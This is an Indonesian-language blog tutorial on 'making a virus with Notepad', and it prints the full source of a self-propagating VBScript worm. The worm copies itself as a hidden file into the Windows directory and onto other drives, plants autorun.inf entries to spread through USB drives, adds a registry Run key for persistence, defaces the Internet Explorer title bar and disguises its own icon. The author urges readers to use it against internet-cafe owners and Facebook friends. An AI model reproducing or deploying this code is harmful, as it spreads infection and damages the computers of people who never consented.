Pada  Waktu Luwang Kami Mau Berbagi
Cara Membuat Virus  dengan Notepad Part 3
Pada kesempatan kali ini kita akan mencoba membuat virus sederhana dengan notepad. Awalnya 

saya juga tidak percaya bahwa
 virus dapat dibuat hanya dengan menggunakan notepad dan bahkan dapat dipraktekkan secara langsung oleh seorang “newbie” sekalipun 
seperti saya Karena Kami Juga Sudah Menguji Nya Sob Jadi Kami Berani Bilang

Gitu Dan Berani Ngasih Sarannya Heheh..
. Baiklah tanpa perlu basa-basi mari kita coba praktekkan saja langsung.

Berikut caranya:

1. Buka notepad  kemudian Copy kode di Yang Berwarnah Biru Di bawah ini ke notepad 

Sobat Semuah Dan Jalankan Langkah-Langkah Di Bawah Sob

• Tapi Sobat Ingat Kerusakan Di Tanggung Sendiri Heheheh..

• Tapi Ada Baiknya Kalu Sobat Punya Seorang Warnet Yang Curang

• Kan Banyak Warnet Sekarang Yang Kayak Gitu Genk

• Suka Nyuri Waktu Itu Pas Buat Uji Coba Nya Biar Tau Rasa Hehehe Hahahah.....?

• Klau Sobat Punya Program Adobe Dreamweaver

• Sobat Bisa Code Di Bawah Di Format Menjadi Virus Yang Bisa Merusak 
• FACEBOOK Temen Yang Suka Usil. Sekarangkan Banyak Temn FACEBOOK
• Yang Suka Usil Heheheh..?

• Tapi Sebelumnya Aq Minta Maaf Kami Gak Memberitaunya
• Soal Format Menjadi Virus Cantik. Takuut Kena Getahnya  Hehehe Hahaha...?

Pertama Hanya dengan Membuka New Text Document.txt ( Notepad )
• Selanjutnya Copy Paste Scribt Yang ada di bawah ini ke dalam Notepad Yg kita buka tadi


on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Davit Wahyudi"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

 Selanjutnya Save As dengan Extensi .vbs Atau sebagai contoh : Maafkan.vbs
Bisa di coba sekarang tapi ingat kerusakan di tanggung sendiri (dont try this at your PC) 

Bagi Yang Suka Tantangan Silakan Genk Paling Sedikit Yang Hila Heheheh